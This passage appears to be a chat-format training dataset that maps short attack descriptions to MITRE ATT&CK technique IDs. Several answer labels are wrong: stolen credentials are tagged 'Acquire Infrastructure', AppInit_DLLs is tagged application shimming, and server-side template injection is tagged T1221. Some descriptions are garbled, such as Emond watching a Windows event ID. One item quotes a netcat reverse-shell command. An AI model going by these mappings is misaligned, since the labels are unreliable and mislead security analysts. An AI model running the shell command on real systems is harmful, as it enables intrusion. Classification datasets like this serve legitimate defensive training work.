                "content": "A group contacts a rogue insider to buy access credentials and internal network diagrams of a cloud provider."
            },
            {
                "role": "assistant",
                "content": "T1597.002 - Search Closed Sources: Purchase Technical Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An Emond-based persistence mechanism watches for Event ID 7045 (service installation) and automatically runs a payload to install a new malicious service."
            },
            {
                "role": "assistant",
                "content": "T1546.014 - Event Triggered Execution: Emond"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit script reads the HKLM\\SYSTEM\\CurrentControlSet\\Services registry key to discover drivers."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor used stolen FTP credentials to upload a reverse shell script to a publicly accessible directory, enabling command execution via HTTP requests."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script is injected into a legitimate web portal to capture usernames and passwords as employees log in."
            },
            {
                "role": "assistant",
                "content": "T1056.003 - Input Capture: Web Portal Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware writes a registry entry that triggers the creation of a local service account during system boot."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers embed a malicious payload in a CD/DVD disc, which is then used to install a backdoor on air‑gapped systems when the disc is inserted."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploits a vulnerability to write a launch daemon plist that spawns a privileged process."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers send a phishing email with a malicious attachment that, once opened, uploads ransomware to the victim's network share."
            },
            {
                "role": "assistant",
                "content": "T1608.001 - Stage Capabilities: Upload Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker infiltrates a member‑only professional networking site to collect employee profiles and internal hierarchy information of the target company."
            },
            {
                "role": "assistant",
                "content": "T1597 - Search Closed Sources"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary leverages a signed but revoked certificate to subvert code signing enforcement by altering the system's trust settings."
            },
            {
                "role": "assistant",
                "content": "T1553.006 - Subvert Trust Controls: Code Signing Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware operator triggers a layer 7 (application layer) DoS by posting thousands of login attempts to a web portal, exhausting authentication resources."
            },
            {
                "role": "assistant",
                "content": "T1498 - Network Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor installs a hidden microcontroller on the motherboard that exfiltrates data over USB."
            },
            {
                "role": "assistant",
                "content": "T1200 - Hardware Additions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses PowerShell to call Get‑ComputerInfo, retrieving hardware specifications such as GPU type and disk capacity."
            },
            {
                "role": "assistant",
                "content": "T1592.001 - Gather Victim Host Information: Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware copies its payload to the system32 folder and runs it via control.exe to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1218.002 - System Binary Proxy Execution: Control Panel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Actor uses the 'netstat' command on a compromised machine to map internal network connections."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor uses a DLL side‑loading technique to load a screen capture library that records the user’s display during credential entry."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker performed a SQL injection attack against a public‑facing web application, allowing them to execute arbitrary commands on the server."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker transfers harvested files to a remote SMB share on a different network segment."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs token manipulation techniques to fabricate a token that grants administrative privileges, then uses it to bypass UAC and install persistence mechanisms."
            },
            {
                "role": "assistant",
                "content": "T1134.003 - Access Token Manipulation: Make and Impersonate Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script alters the authentication certificate used for signing SAML assertions, enabling the adversary to impersonate any user."
            },
            {
                "role": "assistant",
                "content": "T1556.007 - Modify Authentication Process: Hybrid Identity"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code extracts browser history and uploads the JSON payload to a private gist on GitHub, using the API token for authentication."
            },
            {
                "role": "assistant",
                "content": "T1567.003 - Exfiltration Over Web Service: Exfiltration to Text Storage Sites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs the 'whoami' command on the compromised host to identify the current logged‑in user."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An implant abuses legitimate cloud storage services, uploading files that contain encoded C2 messages."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages a known flaw in a single sign-on (SSO) implementation to generate forged authentication assertions, granting access to multiple linked applications."
            },
            {
                "role": "assistant",
                "content": "T1606 - Forge Web Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The breach involved dumping secrets from Azure Key Vault via a compromised developer's account to obtain encryption keys."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A systemd timer is created to execute a rootkit installation script each time the machine boots."
            },
            {
                "role": "assistant",
                "content": "T1053.006 - Scheduled Task/Job: Systemd Timers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script harvests DNS zone transfer data from the victim’s DNS server to reveal internal hostnames."
            },
            {
                "role": "assistant",
                "content": "T1590.001 - Gather Victim Network Information: Domain Properties"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary adds a malicious executable to the Windows Registry key HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\LoginHook to run code on every user logon."
            },
            {
                "role": "assistant",
                "content": "T1037.002 - Boot or Logon Initialization Scripts: Login Hook"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker acquires stolen credentials from a dark web marketplace to access victim networks."
            },
            {
                "role": "assistant",
                "content": "T1583 - Acquire Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware obtains root privileges and directly reads the system's /etc/shadow file to acquire password hashes."
            },
            {
                "role": "assistant",
                "content": "T1003.008 - OS Credential Dumping: /etc/passwd and /etc/shadow"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor configures a scheduled transfer of logs to a command-and-control server every hour."
            },
            {
                "role": "assistant",
                "content": "T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages the Unix shell to list system files and upload them to a command-and-control server."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses the Sysinternals tool 'PsGetSid' to retrieve driver SIDs for enumeration."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary extracts saved passwords from Chrome's local SQLite database on a compromised Windows machine."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Security researcher demonstrates how GPP files can be abused to extract clear‑text passwords from a domain environment."
            },
            {
                "role": "assistant",
                "content": "T1552.006 - Unsecured Credentials: Group Policy Preferences"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attackers create a new LinkedIn account impersonating a senior manager to send spear‑phishing messages."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the Windows Task Scheduler to run a scheduled task that executes a LSASS memory dump via wmic."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a hidden window to execute a remote code execution payload, keeping the UI element hidden from the end user."
            },
            {
                "role": "assistant",
                "content": "T1564.003 - Hide Artifacts: Hidden Window"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary injects malicious payloads into server‑side template files (e.g., Jinja2, Twig) causing arbitrary code execution when the template is processed."
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team opens a reverse shell by executing 'nc.exe -e cmd.exe' on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through DCOM, the intruder copies a malicious DLL to a target system and loads it to gain persistence."
            },
            {
                "role": "assistant",
                "content": "T1021.003 - Remote Services: Distributed Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit script loads the Security Account Manager data into memory via the LSASS process and extracts the stored password hashes."
            },
            {
                "role": "assistant",
                "content": "T1003.002 - OS Credential Dumping: Security Account Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor is delivered as raw source code in a disguised file; the victim's system compiles it with default tools before it runs."
            },
            {
                "role": "assistant",
                "content": "T1027.004 - Obfuscated Files or Information: Compile After Delivery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit a hardware backdoor in the ROM monitor to load a malicious operating system image, compromising the device prior to OS initialization."
            },
            {
                "role": "assistant",
                "content": "T1542.004 - Pre-OS Boot: ROMMONkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary queries an external web service to obtain the public IP address of the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1016.001 - System Network Configuration Discovery: Internet Connection Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary mounted a SMB share on the corporate network and copied confidential documents to a staging server."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise involved searching open technical databases for self‑signed certificates used in the target's internal services."
            },
            {
                "role": "assistant",
                "content": "T1596.003 - Search Open Technical Databases: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages steganography to conceal a Python payload inside a GIF file that gets decoded by the execution engine."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Obfuscated Files or Information: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious DLL was dropped and then executed via \"cmd /c rundll32.exe\" to achieve code execution."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors enumerate the trust hierarchy by collecting information about domain trusts and cross-forest relationships."
            },
            {
                "role": "assistant",
                "content": "T1590.003 - Gather Victim Network Information: Network Trust Dependencies"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker issues ListObjects requests against a victim's cloud storage to map stored data."
            },
            {
                "role": "assistant",
                "content": "T1619 - Cloud Storage Object Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder drops a harmless-looking .vbs file in the common program files directory and sets up a service that calls cscript.exe to run this script at service start, using the service as a proxy for the malicious code."
            },
            {
                "role": "assistant",
                "content": "T1216 - System Script Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A fake IT support representative calls employees, claims their computers are infected, and instructs them to download a remote administration tool via a provided link."
            },
            {
                "role": "assistant",
                "content": "T1566.004 - Phishing: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages a PowerShell one-liner to dump the clipboard contents and exfiltrate them using DNS tunneling."
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By reusing a copied token, the threat actor starts a background service that runs with SYSTEM privileges."
            },
            {
                "role": "assistant",
                "content": "T1134.002 - Access Token Manipulation: Create Process with Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary contacts a vendor that does business with the target company to request non‑public information about the target's internal processes and partnerships."
            },
            {
                "role": "assistant",
                "content": "T1591.002 - Gather Victim Org Information: Business Relationships"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries scan public social media platforms such as Twitter, Facebook, and Instagram for user profiles, posts, and photos to collect personal details about target employees."
            },
            {
                "role": "assistant",
                "content": "T1593.001 - Search Open Websites/Domains: Social Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers modify the registry's AppInit_DLLs value to inject malicious code whenever a specific Windows application starts, leveraging application shimming for execution."
            },
            {
                "role": "assistant",
                "content": "T1546.011 - Event Triggered Execution: Application Shimming"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious PowerShell one‑liner is sent via instant messaging; the user copies and pastes it into a terminal, executing the payload."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script configures a local proxy on the victim's system, capturing and forwarding credentials to the attacker’s remote server."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion set performs Kerberoasting by extracting service tickets for domain accounts with Kerberos delegation rights and cracking them to gain elevated access."
            },
            {
                "role": "assistant",
                "content": "T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan installs itself as \"service.exe \" with a trailing space, exploiting Windows’ handling of whitespace to avoid detection by file scanners."
            },
            {
                "role": "assistant",
                "content": "T1036.006 - Masquerading: Space after Filename"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using SSH hijacking tools, the intruder takes over an active SSH session by replaying the session's encryption keys and intercepts the command stream."
            },
            {
                "role": "assistant",
                "content": "T1563.001 - Remote Service Session Hijacking: SSH Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT steals domain admin credentials from a compromised workstation and uses them to create new privileged accounts."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employed a custom REST API call to the Office 365 endpoint to assign delegate permissions to a malicious user for a target mailbox."
            },
            {
                "role": "assistant",
                "content": "T1098.002 - Account Manipulation: Additional Email Delegate Permissions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hidden malicious payload is inserted into the bootstrap code of a web browser client, allowing code execution on launch."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor injects malicious shellcode into a secondary window's memory space of a target process, then uses a remote thread to execute it."
            },
            {
                "role": "assistant",
                "content": "T1055.011 - Process Injection: Extra Window Memory Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries embed malicious scripts within harmless-looking image files using LSB steganography."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised host has a new Windows Service installed that loads a malicious executable each boot."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker alters the PAM stack to include a pam_rsh module that enables password‑less remote shell access for compromised accounts."
            },
            {
                "role": "assistant",
                "content": "T1556.003 - Modify Authentication Process: Pluggable Authentication Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team creates a new local user, adds it to the Administrators group, and uses that account for lateral movement across the network."
            },
            {
                "role": "assistant",
                "content": "T1078.003 - Valid Accounts: Local Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor used mass Netcat connections to probe each IP in the target's subnet for active services."
            },
            {
                "role": "assistant",
                "content": "T1595.001 - Active Scanning: Scanning IP Blocks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A disgruntled employee leveraged a misconfigured Azure Managed Identity to read secrets from Azure Key Vault without logging."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages a legitimate remote desktop session to drag and drop files onto a USB drive connected to the remote system."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A spyware program exfiltrates system logs by sending them as base64 encoded payloads in HTTP GET requests."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
